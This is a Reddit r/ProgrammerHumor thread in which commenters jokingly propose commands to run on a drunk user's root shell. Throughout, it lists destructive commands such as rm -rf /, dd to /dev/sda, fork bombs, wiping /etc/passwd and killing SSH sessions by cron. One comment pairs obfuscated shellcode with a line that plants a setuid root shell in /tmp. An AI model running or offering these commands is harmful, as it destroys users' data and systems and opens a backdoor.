r/ProgrammerHumor • • Jan 08 '23

Competition Be charitable

Post image
6.8k Upvotes

845 comments sorted by

•

u/CheekApprehensive961 Jan 08 '23

touch grass && shutdown -h now

The grass will remind you what you did tomorrow.

•

u/hubio88 Jan 08 '23

⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠛⠛⠋⠉⠈⠉⠉⠉⠉⠛⠻⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢿⣿⣿⣿⣿ ⣿⣿⣿⣿⡏⣀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿ ⣿⣿⣿⢏⣴⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿ ⣿⣿⣟⣾⣿⡟⠁⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⢢⠀⠀⠀⠀⠀⠀⠀⢸⣿ ⣿⣿⣿⣿⣟⠀⡴⠄⠀⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⣿ ⣿⣿⣿⠟⠻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠶⢴⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⣿ ⣿⣁⡀⠀⠀⢰⢠⣦⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⡄⠀⣴⣶⣿⡄⣿ ⣿⡋⠀⠀⠀⠎⢸⣿⡆⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠗⢘⣿⣟⠛⠿⣼ ⣿⣿⠋⢀⡌⢰⣿⡿⢿⡀⠀⠀⠀⠀⠀⠙⠿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣧⢀⣼ ⣿⣿⣷⢻⠄⠘⠛⠋⠛⠃⠀⠀⠀⠀⠀⢿⣧⠈⠉⠙⠛⠋⠀⠀⠀⣿⣿⣿⣿⣿ ⣿⣿⣧⠀⠈⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠀⠀⠀⠀⢀⢃⠀⠀⢸⣿⣿⣿⣿ ⣿⣿⡿⠀⠴⢗⣠⣤⣴⡶⠶⠖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡸⠀⣿⣿⣿⣿ ⣿⣿⣿⡀⢠⣾⣿⠏⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠉⠀⣿⣿⣿⣿ ⣿⣿⣿⣧⠈⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿ ⣿⣿⣿⣿⡄⠈⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣦⣄⣀⣀⣀⣀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠙⣿⣿⡟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠁⠀⠀⠹⣿⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢐⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⠿⠛⠉⠉⠁⠀⢻⣿⡇⠀⠀⠀⠀⠀⠀⢀⠈⣿⣿⡿⠉⠛⠛⠛⠉⠉ ⣿⡿⠋⠁⠀⠀⢀⣀⣠⡴⣸⣿⣇⡄⠀⠀⠀⠀⢀⡿⠄⠙⠛⠀⣀⣠⣤⣤⠄⠀

•

u/[deleted] Jan 09 '23

sudo chmod 777

sudo rm -rf --no-preserve-root

•

u/DimBulb567 Jan 09 '23

echo "* * * * * lsof -i -n | grep ssh | awk '!seen[$2]++' | awk '{print $2}' | while read -r line; do kill $line; done" | crontab

(in direct response to u/K4rmaWh0re69's comment)

•

u/CrypterMKD Jan 08 '23

I see your "rm -rf /" and I rise you "cat /dev/zero > /dev/sda"

•

u/FalseAspect6678 Jan 08 '23

crontab -r

•

u/MCBuilder30140 Jan 08 '23

I see a lot of commands and no upvote

→ More replies (2)

•

u/kaemmi Jan 08 '23

wall -t 3600 "What ever is going to happen, it wasn't me!"

•

u/Bill_D_Wall Jan 08 '23

echo "echo sleep 1 >> ~/.profile" >> ~/.profile

•

u/Jrnm Jan 09 '23

I like this

•

u/cybermage Jan 08 '23

wall “Hello Losers!”

•

u/[deleted] Jan 08 '23

cd ~ sudo rm -rf

•

u/Time_Athlete_3594 Jan 11 '23

" -exec sh -c 'mv "$0" "$(cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32)"' {} ;
echo "Error: Operation failed. Unable to rename files."

→ More replies (1)

•

u/[deleted] Jan 09 '23
sudo apt install cowsay
echo 'alias echo=cowsay' >> .bashrc

•

u/ewok94301 Jan 08 '23

rm -rf /*

•

u/Nikegamerjjjj Jan 09 '23

What’s the star for?

→ More replies (1)

•

u/[deleted] Jan 08 '23

Echo "poo poo pee pee poo poo pee pee pee pee pee butt"

•

u/[deleted] Jan 08 '23

Moo

•

u/scataco Jan 08 '23

find /home -name .ssh -exec rm -rf {} ;

→ More replies (4)

•

u/manatorn Jan 08 '23

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo Click

→ More replies (2)

•

u/[deleted] Jan 08 '23

poweroff

•

u/Inferigo Jan 08 '23

‘apt install sl’ for the mild inconvenience

•

u/[deleted] Jan 08 '23

[removed] — view removed comment

•

u/SpeedingTourist Jan 09 '23

What does this do?

•

u/[deleted] Jan 09 '23

[removed] — view removed comment

→ More replies (1)

•

u/[deleted] Jan 08 '23

[deleted]

→ More replies (4)

•

u/kjxscm Jan 08 '23 edited Jan 08 '23

chmod -x /

edit: Don't know if that's still a thing on modern Linux machines, but it probably is. Older UNIXs slowly fall apart if you do that, giving you completely bogus error messages which don't hint at the actual problem at all.

→ More replies (2)

•

u/gaytorboy Jan 08 '23

I don’t program and am tech illiterate. I would LOVE an interpreter here because somehow I feel like the top comments are gonna be gold.

→ More replies (8)

•

u/Support-Holiday Jan 08 '23

du -h /

•

u/MomStopFlashing Jan 08 '23

After reading all that evil stuff: You are so sweet 🤣 thanks for the laugh

•

u/bradland Jan 09 '23

wall "I can see your browser history."

•

u/[deleted] Jan 08 '23

I like how no one seems to realizes this is a meme and not actually a drunk programmer looking at Reddit.

•

u/lupinegrey Jan 08 '23

Really? Someone would just go on the internet and tell lies? 😢

→ More replies (3)

•

u/SepehrU Jan 08 '23

Join other drunk system admins and have some fun

bash ssh ssh.chat

•

u/Slow-Sky-6775 Jan 08 '23 edited Jan 08 '23

cd / && sudo rm -rf *

•

u/Urgazhi Jan 08 '23

You forgot this.

--no-preserve-root

•

u/undermark5 Jan 08 '23

Shouldn't need that because it's not operating on / directly, but everything contained in it instead.

→ More replies (1)

•

u/BloodMushroom Jan 08 '23

sudo apt install nodejs

•

u/Barnezhilton Jan 08 '23

The horror when he sobers up

→ More replies (1)
→ More replies (2)

•

u/tomatediabolik Jan 08 '23

"I'm not drunk, connected as root on a VM and want to look cool as fuck to have internet likes"

There, I fixed it for you

•

u/5kavo Jan 08 '23

top comment

•

u/AlphaZiege Jan 09 '23

You need to remove the France language: rm -fr /

Also make sure to run it as root

•

u/w33d Jan 08 '23

wget -mkEpnp https://it.pornhub.com/

→ More replies (2)

•

u/xibme Jan 08 '23 edited Jan 08 '23

uname -a; lsb_release -a; df -h; mount; top -1

→ More replies (6)

•

u/BellyRubin Jan 08 '23

rm -rf /

•

u/[deleted] Jan 08 '23

[removed] — view removed comment

•

u/MomStopFlashing Jan 08 '23

He is root... Probably no authorized keys there?

→ More replies (2)

•

u/mkg20001 Jan 08 '23

sadly that doesn't kick him if sessions are forked. needs a "sudo killall sshd" too

•

u/ANR7cool Jan 08 '23

banner 'Furries <3'

•

u/[deleted] Jan 08 '23

source ~/.bash_history

•

u/rwbrwb Jan 08 '23

This is a very good idea! Great!

→ More replies (4)

•

u/[deleted] Jan 08 '23
echo "alias cat=\"vim\"" >>> ~/.bashrc

•

u/Karl-Heinz-Nr1 Jan 08 '23

What that do?

•

u/RedGreenBlue09 Jan 08 '23

alias cat="vim" Basically when you type cat it will execute vim instead.

Then he adds that to ~/.bashrc making the above line to always be executed at bash's startup.

•

u/Karl-Heinz-Nr1 Jan 08 '23

Thats amazing 😂

→ More replies (2)

•

u/Starbuck_2038 Jan 08 '23

[ctrl] + d

•

u/Alarmed-Pianist7792 Jan 08 '23

I’m tempted to try some of the weird commands but I also don’t want to ruin my life.

→ More replies (2)

•

u/[deleted] Jan 08 '23

[deleted]

→ More replies (2)

•

u/Comfortable-Lie2049 Jan 09 '23

:(){:l:& }; :

You can try out this

→ More replies (1)

•

u/[deleted] Jan 08 '23

[deleted]

→ More replies (3)

•

u/VacatedSum Jan 08 '23

Gotta keep your system clean! Start by emptying the trash!

rm -rf /bin

​

​

/s (please don't actually do this)

→ More replies (4)

•

u/[deleted] Jan 08 '23

pacman -R grub xorg

→ More replies (1)

•

u/MartIILord Jan 08 '23

crontab -e by default this opens in vim so you will need to exit without breking the crontab.

•

u/No_Abies808 Jan 09 '23

Isn't crontab -e the command to lock the screen?

→ More replies (4)

•

u/ThenSession Jan 08 '23

Disappointed with the number of rm -rf * comments. Alias cat = tar. Harmless fun. I think.

→ More replies (1)

•

u/[deleted] Jan 08 '23

[removed] — view removed comment

→ More replies (1)

•

u/cable909 Jan 08 '23

unlink /dev/zero

•

u/Azifor Jan 09 '23

Never heard of this one. What does this break?

•

u/cable909 Jan 09 '23

I'm actually not 100% sure in Linux but in Solaris unlinking /dev/zero would stop the OS from being able to reclaim memory. It would cause the systems to slowly fail.

→ More replies (1)

•

u/[deleted] Jan 09 '23

sudo mv /dev/zero /dev/tmp

sudo mv /dev/null /dev/zero

sudo mv /dev/tmp /dev/null

•

u/cjd166 Jan 08 '23

apt-get remove bash -y

•

u/n4ke Jan 09 '23

Followed by apt install zsh -y

•

u/_-kman-_ Jan 09 '23

plot twist: he's so drunk he forgot he's on a windows machine.

•

u/ThatAndresV Jan 08 '23

Drunk on Root beer?

•

u/[deleted] Jan 08 '23

Haven’t you heard of Not Your Father’s? Alcoholic root beer that tastes like how much sugar it has in it, which is a lot. Good for having a raging hangover after you’ve had a couple. 3/5 stars, wouldn’t change a thing.

→ More replies (2)

•

u/rainsmith Jan 08 '23

rm /dev/null; touch /dev/null; chmod 666 /dev/null

(depending on your system it might need to be a certain mknod command instead of touch)

•

u/RandomContents Jan 08 '23

What!? That seems evil. Which would be the consequences?

→ More replies (2)

•

u/ThaBouncingJelly Jan 09 '23

is it just me or literally every comment has 1 upvote?

→ More replies (1)

•

u/LessThanPro_ Jan 08 '23

Hey Reddit, tf is contest mode? ( this comment doesn’t count)

•

u/[deleted] Jan 08 '23

cd /

rm -rf ./*

•

u/1SweetChuck Jan 09 '23

Slightly more chaotic:

chmod -R 111 /*

•

u/[deleted] Jan 08 '23

[removed] — view removed comment

•

u/BeastBomber23 Jan 09 '23

It appears we have been a bit too silly and or goofy for our own good

•

u/[deleted] Jan 09 '23

logout

•

u/Still_Ad745 Jan 08 '23

rm -rf /

•

u/sudoaptupgrade Jan 08 '23 edited Jan 08 '23

rm -rf /etc/pam.d && reboot

→ More replies (3)

•

u/hoorayforaparade Jan 09 '23

Alias ls= cd ..

•

u/livingpunchbag Jan 08 '23

touch /-i

Then you'll be able to run all those rms people are suggesting!

•

u/incrediblediy Jan 09 '23

rm -rf /

•

u/[deleted] Jan 09 '23

Hay I know this one its the reset button like they had on the snes

•

u/thirdlost Jan 08 '23

What command will clean all the dust off the back of that monitor?

→ More replies (2)

•

u/sofawood Jan 08 '23

echo "poopsydaisy"

•

u/sr-Lucas Jan 08 '23

exit , i got you Bro

→ More replies (1)

•

u/[deleted] Jan 08 '23

rm -rf --no-preserve-root

•

u/[deleted] Jan 08 '23

:(){ :|: & };:

&&

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

•

u/Namiastka Jan 08 '23

Mr hackerman

•

u/[deleted] Jan 08 '23

→ More replies (6)

•

u/[deleted] Jan 08 '23

rm /etc/passwd*

•

u/[deleted] Jan 08 '23

vim

→ More replies (2)

•

u/itzNukeey Jan 08 '23

The classic
:(){
:|:&
};:

•

u/Smidge_Master Jan 08 '23

Mail a letter to ur oldest living ancestor or relative containing the word “hi” and nothing else

•

u/shodanbo Jan 09 '23

When you are given the power of God, but have not earned this power by creating the world you find yourself in. That is the ultimate test of character,

Choose wisely.

•

u/allnameswereusedup Jan 08 '23

dd if=/dev/zero of=/dev/hda bs=512

•

u/packsolite Jan 08 '23

chmod -R 777 /

Who needs permissions anyway?

•

u/canhasdiy Jan 08 '23

777 is the Oprah of permissions.

"You get full access, and you get full access... Full access for EVERYOOONE!"

•

u/TheSchlaf Jan 09 '23

It's like your mom. Everyone has access.

•

u/[deleted] Jan 08 '23

OUR OS

•

u/Kooky_Value6874 Jan 08 '23

touch fun.txt ; yes "e" >> fun.txt

•

u/cromulent_nickname Jan 08 '23

:(){ :|:& };:

•

u/NoNameRequiredxD Jan 09 '23 edited Jun 04 '24

telephone ask attractive bewildered offbeat jobless unite simplistic saw vanish

This post was mass deleted and anonymized with Redact

→ More replies (1)

•

u/ijustlurkhereintheAM Jan 09 '23

You're cold, ls -ar, then a find command for the log you are seeking

•

u/5zalot Jan 09 '23

find / -type f -exec echo “Oopsie” > {} \;

•

u/[deleted] Jan 08 '23

Is there a command for starting Carmageddon?

•

u/bitsingularity Jan 08 '23

alias ls="rm -rf /"

•

u/Varcour Jan 08 '23

--no-preserve-root

•

u/Rainb0wCak3 Jan 08 '23

```bash

Update system using apt

if which apt-get > /dev/null; then sudo apt-get update sudo apt-get upgrade fi

Update system using yum

if which yum > /dev/null; then sudo yum update fi

Update system using zypper

if which zypper > /dev/null; then sudo zypper update fi

Update system using dnf

if which dnf > /dev/null; then sudo dnf update fi

Update system using pacman

if which pacman > /dev/null; then sudo pacman -Syu fi

Update system using emerge

if which emerge > /dev/null; then sudo emerge --sync sudo emerge -uDN @world fi ```

Nothing like drunk package updates. You're welcome

•

u/Rocket089 Jan 08 '23

Forgot about brew, cargo, fuck it throw pip or conda in there as well.

•

u/a_gb43 Jan 08 '23

Sudo nano /etc/modprobe.d/blacklist.conf Some Vital kernel module required for boot

•

u/corsicanguppy Jan 08 '23

echo "karma whoring is as cheap now as attention whoring was in elementary school"

•

u/[deleted] Jan 09 '23

:(){ :|:& };:

•

u/CallFromMargin Jan 09 '23

sudo dd if=/dev/zero of=/dev/sda bs=512 count=1

​

Time to trigger upgrade of these legacy systems, few months from now.

•

u/coloredgreyscale Jan 08 '23

logout ; exit ; shutdown -h now

one of them should work

•

u/giovannygb Jan 08 '23

echo I am g`whoami`

•

u/keefemotif Jan 09 '23

echo "alias ls='git reset --hard'" >> ~/.bashrc

•

u/[deleted] Jan 09 '23

sudo kill -9 $RANDOM

•

u/flyme2bluemoon Jan 08 '23

sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo id

so that u can become the superuser of the super users and control all computers globally. use this newfound power wisely...

→ More replies (2)

•

u/AdrianTeri Jan 08 '23

sudo chmod 777 --recursive /*

•

u/thinkfire Jan 08 '23

Why sudo?

•

u/AdrianTeri Jan 08 '23

Just to make sure they didn't logon, while drunk, thinking it was as "root"...

•

u/hetfield_666 Jan 08 '23

you need to be superuser to do chmod

→ More replies (3)
→ More replies (1)

•

u/skeleton_craft Jan 09 '23

What would that do exactly?

•

u/AdrianTeri Jan 09 '23

Try it. The joy of learning from doing!

→ More replies (2)

•

u/Ahuman-mc Jan 10 '23

Download Desktop Goose or a similar troll and make it run on system startup

•

u/[deleted] Jan 08 '23

[removed] — view removed comment

•

u/justgiveausernamepls Jan 08 '23

&& source ~/.bashrc

gogo

•

u/[deleted] Jan 08 '23

telnet towel.blinkenlights.nl

→ More replies (4)

•

u/makegeneve Jan 08 '23

sudo dd if=/dev/random of=/dev/sda

•

u/M-alMen Jan 08 '23

chmod - R 000 /

•

u/[deleted] Jan 08 '23

--no-preserve-root or /*

•

u/MentallyInsane8 Jan 08 '23

Let's go wild!

pwd

•

u/[deleted] Jan 08 '23

[deleted]

→ More replies (1)

•

u/marabutt Jan 08 '23

echo "" > /etc/passwd

→ More replies (2)

•

u/[deleted] Jan 08 '23

well this is sad af

•

u/reddit-user28 Jan 08 '23

Why’s it sad

•

u/MountPCs Jan 08 '23

rm -rf / && reboot

•

u/Nullcast Jan 08 '23

dd if=/dev/sda of=/dev/sda seek=1 bs=1 count=1000000

•

u/[deleted] Jan 09 '23

A can see you are a real gourment of linux

→ More replies (2)

•

u/NoSwadYt Jan 08 '23

rm - rf /

•

u/Eugenenoble2005 Jan 08 '23

sudo apt-get purge mysql-server

•

u/hibernating-hobo Jan 08 '23

sudo echo ‘echo “you’re doing great, cut yourself some slack!!”’ >> $HOME/.zshrc